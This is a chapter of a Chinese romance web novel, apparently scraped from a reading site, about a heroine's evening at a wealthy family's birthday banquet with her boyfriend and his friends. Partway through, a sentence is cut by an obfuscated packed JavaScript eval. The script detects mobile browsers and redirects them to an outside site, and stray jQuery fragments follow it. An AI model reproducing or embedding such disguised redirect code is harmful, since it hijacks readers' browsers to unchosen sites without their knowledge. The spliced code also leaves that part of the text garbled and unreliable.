79.第 79 章
作品:《港岛春日》 绮丽本就是城内举办各类高规格晚宴,酒会和私人派对的热门选择,这次策划自家少爷的成人礼,场地布置更是极尽时髦和奢华。
从大堂check in处开始,一整条通往内场的长走廊,在流苏低垂的水晶灯的映衬中以及各种珍奇花卉的簇拥下,瞬间化作一个小型私人艺术展,墙上陈列的一幅幅署名为Enzo Yu的涂鸦和画作用色大胆,极具创造性和观赏性。
尽头转角处的LED大屏上,则滚动播放着余萧泽从小到大成长历程的小短片,小初停下来看了一会儿,才发现配乐竟还是他自己创作的,不禁感叹,“没想到这小屁孩还真有点艺术天分,画画得好,歌写得也很有个人风格。”
曹旸点头:“的确。”
两人一边缓步而行,一边把每幅画都认真看了看,期间,一直有人从她们身边经过。
余家的宾客,自然都是城中名流,身份非富即贵,更不乏平时只在电视和报纸上才能见到的大人物。
但大多数人都步履匆匆直奔礼宾处,真驻足认真看画的是极少数,除非熟人相遇,才免不了停下来寒暄几句。
这一切自然都与小初无关,她之所以迟迟不想进去,其实是因为她心里紧张,不知道一会儿该怎么面对余家亲友。
虽说今天是余萧泽的生日,他才是整场活动的中心人物,但不用想也知道,待会一进场,还不定要有多少打量的目光落到她身上,照片被媒体挂在网上被人评头论足就已经够难为情的了,现在人也要进入舆论漩涡任人家窥探吗?
曹旸似是看出了她心中所想,安慰道:“小姐不用害怕,我就在你身边。”
小初感动地看她一眼:“我不是害怕,就是觉得好麻烦,你知道的,我就不是一个热衷社交的人。”
“是。”
小初又说:“陪着我倒没必要,今晚来了这么多大人物,里面的安保肯定是顶级的了,你自己找地方吃吃喝喝把自己照顾好就行。”
曹旸没置可否。
正聊着天,有人似是认出了她,远远就主动打起了招呼,“方小姐?真是幸会,没想到你本人比照片上还要漂亮!”
小初根本不认识对方是谁,幸而曹旸在背后小声提醒:“港城证券的三小姐,姓钟。”
“你好,钟小姐,你太过誉了。”小初弯起眼角,从善如流地和对方握了握手。
“还不进去吗?”
小初笑:“我等人。”
“好,一会儿聊。”
“好。”
小初长松口气。待那人走远,她才佩服地转向曹旸:“你怎么这么厉害,连她都认识。”
曹旸笑:“只是提前做了点功课,我们这行,相当于贴身秘书兼保镖,仅略懂点拳脚,肯定是没办法做到顶级的。”
为了配合晚宴的风格,曹旸今天也稍微打扮了一下,只不过她的气质更偏中性一些,收腰的黑色连身裤配利落短发,再加之她偏凌厉清晰的脸部线条,美得雌雄莫辨的。
小初忍不住说:“曹旸姐,你好帅啊,而且是很斩女的那种帅,今晚不定有多少小女生会爱上你。”
曹旸淡淡看她一眼:“我明年春天就结婚了。”
“哈?”小初震惊至极:“你有男朋友了?什么时候的事,我怎么都没听说?”
“他啊,是我之前的战友,我们俩谈了快六年了。”曹旸的神色难得有些难为情,“不说他了,我们快进去吧。”
小初点头,但一边走还一边在感慨,“六年!什么感觉?”
“感觉……跟热恋期差不多吧,主要这几年他一直在国外执行任务,我们俩聚少离多,一年到头也见不上一两面。”
原来如此。
小初沉思了几秒,“这倒是个爱情保鲜的好办法。”又想起接下来几年自己和余萧弋可能面临的分别,“如果是这样,我可能就没那么分离焦虑了曹旸姐。”
曹旸摇摇头:“能在一块还是尽量在一块吧,我这个是不得已而为之,但人嘛,总有脆弱和寂寞的时候,那个时候身边没有爱人陪伴,很难熬的。”
小初惊奇,“曹旸姐你这么坚强的人,也会脆弱和寂寞吗?”
曹旸苦笑:“当然。我上次在任务中受伤,一个人在床上躺了三个月,差点抗不过来。”
小初拍了拍她的手,说不出话了。
进了内场,还隔着很远,她就看见了正和萧文然热络招待宾客的余萧弋。
同样是一身黑,他却穿出了和余珺彦完全不同的气质,余珺彦是成熟冷峻,他则多了几分张扬和不羁,西装里面的V字马甲下,竟是完全的镂空,没有衬衫领带,取而代之的是一条很闪的满钻项链,随着他微微点头和宾客说话的动作,流畅的线型尾端不停在锁骨下方荡漾着,只一眼,小初就红了脸。
才一天多没见,他就已经陌生到她不敢直视了。
还是萧文然先看见了她,春风满面地迎上来将她拥在了怀中,“哎呀,小方太初,稍微打扮一下阿姨都不敢认了,这也太美了吧,女娲娘娘是不是把捏世人的时间都省下来捏你一个人去了。”
小初越过她肩膀,咬唇看了眼终于发现她的余萧弋,目光相触的瞬间她就别开了视线,脸上红了一片。
“阿姨,你夸得我都不好意思了。”
萧文然今天穿的也是一身黑色的晚礼服,在头顶水晶灯的映照下,礼服隐隐泛着流光,更衬得她从耳垂到右手无名指一整套的翡翠首饰无比清透莹润,贵不可言。
“这有什么不好意思,阿姨说的都是实话。”萧文然放开她,又仔仔细细将她看了一遍,眼底都是明晃晃的喜欢,“你大姑姑从前几天飞机落了地就一直念着想见你呢,Theo开玩笑说才不给她看,万一看化了怎么办?可是今天这个场合,不给看恐怕是不行了,不止她一个,还有太婆啊,外公外婆啊,以及好多好多其他的人,阿姨待会带你一一认识。你可一定要坚强,千万别给看化了,不然Theo肯定要找我算账的。”
她这样说,小初实在不知道该说些什么,只能求助似的看了眼一旁的余萧弋。
“好了妈,这里是风口,别把她吹着了。”余萧弋笑着朝小初伸出手,“走吧,我带你进去。”
小初哪敢当着萧文然的面牵他的手,只能顺势解下身上的羊绒披肩递给身后的曹旸,嘱咐道:“麻烦你了曹旸姐。”
曹旸接过。
余萧弋叫人过来带曹旸去挂衣服,又说小初他会亲自照顾,就不需要她陪在身边了,一会儿工作人员会帮她安排好座位,请她自便,玩得开心。
曹旸没动,直至看见小初点了头,才跟着工作人员离开。
解开披肩的小初一整个纤薄又白皙的后背顿时暴露在空气中,冷得她一颤。
萧文然说:“少女的礼服果然还是要少女穿,真的太好看了。”
余萧弋的目光在她背后凝了一瞬,下一秒已经悄悄在底下捉住她的指尖,见她想躲,他干脆用手掌将她整个包裹住,让她无处可逃。
刚好有别的宾客正从外面走来,他赶紧趁势说道:“妈,那我们进去了。”
“好,去吧。”萧文然笑意温柔,目光滑过小初的脸,才注意到她空落落的耳垂,疑惑地问道:“小初,耳饰怎么没戴?”
小初神色不自然地一僵,马上又笑着解释道:“在包里,我嫌坠得慌,想着一会儿再戴。”
萧文然点点头,没再说什么。
两人走了几步,余萧弋才情难自禁地贴着她耳朵说了句:“你今天好漂亮。”
小初只觉得耳边有阵热风拂过,半个身子都被生理性的红晕覆盖,嗔道:“你想好了再说话,平时难道就不漂亮吗?”
“平时当然也漂亮,但今天,不一样。”
“哪里不一样。”
余萧弋认真解释:“平时是想看你也就看了,今天却不知怎么有点不敢看,生怕自己的目光冒犯了你。”
小初微微偏头看了他一眼。
很想说:“你也是。”
但她忍住了,只任腰上与他衣袖摩擦带来的奇异感觉顺着脊背不断攀升和蔓延着。
内场舞台上正在表演钢琴四重奏,小初不经意看了一眼,顿时有点吃惊,问余萧弋:“我没看错吧?钢琴前坐着的,是前一段时间刚获得格莱美的华人钢琴家赵宗颐?”
“嗯。”他轻轻点头,“仔仔喜欢他,又刚好我的钢琴老师认识他。”
小初低声:“好大的手笔。”
余萧弋轻叹口气:“希望他成年了能懂事一点吧。”
“我看他在艺术上还蛮有天分的,怎么开始没有让他往那个道路发展呢。”
“你不知道,他没长性,学什么都坐不住凳子,爷爷奶奶又宠,说我们家的孩子又不吃艺术这碗饭,何必那么苦?到最后就什么都只学了个半桶水。”
小初笑:“那就没办法了,只能等他自己开窍了。”
两人朝座位走去。
一路上,果然吸引很多肆无忌惮打量的目光,除了极个别意味不明的,大多数人倒都是一副对金童玉女的美好爱情乐见其成的模样,脸上的姨母笑荡漾得到处都是,有和他相熟的,早开起了玩笑,说着什么“男才女貌,甜到漏糖,好登对”之类的话。
余萧弋一张脸笑到快要烂掉,不停跟人家说着“多谢”,虽不是故意,却也真的一不小心抢走好多风头。
小初羞得差点找个地缝钻进去,直至和他坐到座位上,整个人还像刚被焚过一样热。
今天是正式的圆桌宴,冷菜已经陆续上了桌,根据菜单,小初推断出今天的宴请规格应该也是顶级的,绝非一般华而不实的西式晚宴可比,看得出余家对孩子是真的很宠了。
一坐下,铭仔就朝他们挤眉弄眼地打趣道:“今天到底是Enzo的生日宴还是二位的订婚宴啊,还没吃饭,我就已经被狗粮撑到了。”
余萧弋指了指门口方向,“那你可以出去了。”
铭仔懒得理他,直接凑到小初身边来,热络地和她聊起来:“方太初,你藏得也太深了,要不是媒体报导,我是真没敢把你往千金大小姐的身份上联想,但知道你是以后,我真的比谁都开心。”
小初笑:“先说好,我可没藏,就我这气质,你看不出来纯属你眼拙。”
铭仔好脾气地,“OK啦,是我眼拙。”
小初又问他:“怎么你就比谁都开心了?”
“我当然开心了!黄亦玫那样的女神总算没有跟穷男人吃苦,这是一件多么令人欣慰的事!不然我总觉得心疼。”
“……”小初默然半晌,才没好气骂他:“你是哪根葱啊,轮得着你心疼吗?”
铭仔眨眨眼,“嘿嘿,我哪根葱也不算,但我就心疼。”
小初学余萧弋指了指门口:“你可以出去了。”
大家都笑。
池咏珊说小初:“方太初,你早该像今天这么打扮了好不好?这才是大小姐该有的样子啊。其实也不怪我们眼拙,实在是你平时穿得太素了,还记得第一次见面时候你穿的那条裙子吗?如果我没看错的话,肯定不超过两千块钱吧?”
小初义愤填膺:“你别污蔑人,那条裙子四百多美金呢,还是折扣季买的,原价肯定更贵。”
池咏珊送了她一个无语的眼神。
陈嘉言大笑:“我倒不关心裙子,我关心的是,Theo对你做什么了,怎么饭还吃完,你就顶着台风逃了。你都唔知,Theo差点因此发疯,我们从小一块长大,就从没有人见过他那副样子。然后最莫名其妙的,他还把我们所有人都骂了一顿,说都是因为我们没表现好才把你吓跑的。天地良心,我们做什么了?这幸亏是他后来找到你了,不然我们这群朋友,这辈子都别想从他的黑名单里出来了。”
余萧弋瞪她一眼:“你好啰嗦。”
铭仔也说:“你还不认?忘了当初怎么胁迫我们帮你追查她的下落了?阿骢还帮你去求了他在交通署的叔叔呢,费了好大周折才联系到那个把她从绮丽载走的计程车司机。”
陈嘉言有些疑惑,“还有这事?那怎么当时没找到?”
铭仔幸灾乐祸,“你有所不知,方太初中途又换了车,反侦察意识这么强,明显就是不想再跟他有任何瓜葛嘛,想不到都这样了,竟然还能被他追到手,我只能说,方太初人生注定有此一劫。”
“你给我闭嘴。”余萧弋忽地起身,走到铭仔身边,从背后对他做了个锁喉的动作,“再胡说就把你打晕了扔出去。”
对面的阿骢却不干了,“Theo余,这怎么能是胡说呢,我叔叔后来帮你查她中途下车地点附近的监控录像时,还差点因为程序问题被上级约喝茶你忘了?害我也被他大骂一顿,真是无妄之灾。要我说,你们两个以后有事能不能私下沟通解决,别伤及无辜。”
余萧弋没好气的,“你也出去。”
阿骢大笑:“忘恩负义!”
陈嘉言:“重色轻友!”
池咏珊:“谁还记得他后来万念俱灰要死不活的那副模样?我长这么大才知道,原来人是真的可能患相思病死掉的,之前还以为是书上乱写的。”
小初也是第一次听到这些,一时也不知自己该作何反应,只是怔怔的。
余萧弋转向她,歉然地抿抿唇,“你别误会,我当时只是想找你问个清楚,我到底哪里做错了而
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789179|182866||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已,就算死,也要死个明白,并不是想骚扰你。”
陈嘉言问:“所以方太初当时真的是为了甩掉他才换的车吗?”
“那倒……不是。”小初为难地解释道:“是我把目的地的地名弄错了,等发现时候已经走了很远了,那个司机急着下班,我就只能换辆车了。”
“……”
现场几人都陷入了沉默。
“真的吗?”余萧弋有些难以置信。
“好啦。”铭仔撇撇嘴,“她从来没有那么讨厌过你,现在开心了吧?”
阿骢却想到另外一层:“完了,Theo又要碎了,他马上就要发现他对人家根本没有他想象的那么重要了。”
几个损友都大笑起来。
台上的钢琴仍在流淌。
余萧弋坐回座位,果然有点受伤。
小初目光微微下移,落在他有些紧绷的手上,下一秒就覆住它,弯起了唇:“其实,分开的那一个月,我每天都有想起你的。”
损友们嗅到了八卦的味道,不约而同露出意味深长的微笑来。
他傲娇地看她一眼:“你少哄我。”
小初的神色极为认真,“没哄你,只是我这个人对自己一向比较狠,就算想,也能逼着自己戒断的。所以谢谢你Theo余,谢谢你锲而不舍找到我,让我不至于因为一时意气后悔一辈子。”
余萧弋愣住,继而红了眼。
铭仔大呼受不了,并警告他们再这么肉麻,就到别的桌去。
池咏珊说:“Theo又幸福了。”
阿骢:“热菜到底几时开始上,我想吃那道蚝皇南非鲍鱼很久了。”
陈嘉言:“你就知道吃。”
“我在国外吃了几个月白人饭了,想吃鲍鱼已经算不上什么新闻了好吗,我现在胃口大的能吃人。”阿骢顿了顿,“但请记得红烧,最差清蒸保持原汁原味,喏,血一定要放干净啊,真的很受不了国外不放血的肉那个腥臊味。”
池咏珊摘了桌面上一朵花扔过去,“大佬!还要不要人吃饭了!”
几人正笑闹着,一个中年美妇人已经到了桌边,拍了拍余萧弋的肩膀,“Theo,你小子,我早跟你说了女朋友一来就介绍给我认识,你敢不把大姑姑的话放在心上?”
小初一听立刻红了脸,紧张地起了身。
她早在余萧弋和余珺彦的只言片语中听过余芃芃的大名,却不敢说自己真的了解她。
只知她最有名的那段感情史,是插足自己导师的婚姻,最后心灰意冷远走他乡。
今日一见,她实在没想到大家口中那个倔强任性为情所困的少女有天也会变成眼前这个珠圆玉润爽朗愉快的模样。
她身上,拥有着余家人很稀缺的一种没心机的幸福感,很有感染力。
余萧弋给两人做了介绍,小初赶紧问了好。
余芃芃抓住她的手,不停感慨着,“世上竟真有如此漂亮美好的人。”
小初不敢接话。
铭仔说:“大姑姑要是见了她妈妈,估计就会改口,她一定是被她爸爸拖了后腿了。”
小初瞪他一眼。
余芃芃大笑,“不急,只要是我们家的媳妇,她妈妈我早晚也见得到。”
小初感觉自己快碳化了。
转眸过去,却发现余萧弋正温柔如水看着她,眼神痴得像明天就能娶她了似的。
越过他的身影,却对上余珺彦似笑非笑朝她举了举杯子,仰头间,小半杯红酒已在喉结起伏中被吞入腹。
她即刻看向别处。
余萧弋捕捉到了她的异常,迅速转过头去,却也只来得及看见余珺彦和杨敏之正在碰杯对饮。
余芃芃牵起小初的手,亲切地说道,“来,跟姑姑到那边坐会,介绍姑丈还有小表妹和小表弟给你认识。”
她这么说,小初也没法拒绝,只能跟她离了席。
余萧弋紧随其后。
余芃芃说的正是余珺彦所在的那桌,小初一到,杨敏之就投过来一个冰冷锐利的眼神,似是要将她刺穿。
小初权当没看见,只温柔明朗地和余萧弋介绍到的每个人都打了招呼问了好。余芃芃的外国老公很绅士也很顾家,大家说话聊天的时候都是他在不厌其烦照顾两个小孩。
除了余芃芃一家和余珺彦,这桌倒没有余家其他核心人物,小初四处看了看,发现他们都在各个桌子陪重要客人呢。
大厅内的音乐突然换了个更欢快的节奏,热菜终于开始上桌。
余萧弋说:“大姑姑,人也给你看了,总肯放我们回去吃饭了吧?”
余芃芃心满意足,“好,先去吃饭,千万别把小美人饿瘦了,她现在的身材刚刚好,该纤细的地方纤细,该圆润的地方圆润,再瘦,可就没有这个娇憨的味道了。”
被当着这么多人指点身材,小初实在难以接受,连耳垂都红透了,立刻递了个眼神过去给余萧弋,示意他赶紧走。
余萧弋会意,正待过来拉她的手,却生生被一人打断。
一身银色西服,胸前别着冰糖宝石胸针的余萧泽不知从哪里跳了出来,上来就一把拉住了小初的手,“姐姐!你什么时候来的,我找你好半天了。你跟我来一下,我有话跟你说。”
余萧弋蹙眉,“都吃饭了,有什么话非要这会说?”
“求你了哥,就说几句,我保证,马上把她还给你。”
造型浮夸又贵气的豪门小少爷扁了扁嘴,顿时又回到了小孩子模样,余萧弋瞪了他一眼,到底没再说话。
今天好歹是他生日,小初也不太想落他面子,于是无奈问道:“想说什么?”
“哎呀,你跟我来就知道了。”
她只好任他拉着手朝大厅侧门走去。
余珺彦放下酒杯,神色不明地看了小初的背影一眼,才浅笑着喊了声余萧弋的名字,“Theo,我也有几句话想和你说,要不要也跟我出去一下?”
余萧弋还没说话,那边余芃芃却蹙了蹙眉,“怎么一个两个有话都不提前说,偏等吃饭了才说?”
余珺彦漫不经心的,“只是才想起来。”
余萧弋自然没兴致跟他聊,于是直接拒绝,“算了吧哥,我饿了,先吃饭吧。”
“耽误不了你几分钟。”余珺彦闲闲的,下一秒,已直接起身走到了他身边,并揽住了他的肩,“走吧。”
余萧弋的气场瞬时冷了下来,“你什么意思?”
“没什么意思。”余珺彦的声音极轻,在只有他们两人可以看到的角度用指腹轻轻摩挲了一下那只粉色蓝宝石的耳饰,“现在,可以聊了吗?”
余萧弋的眸子瞬间充了血。

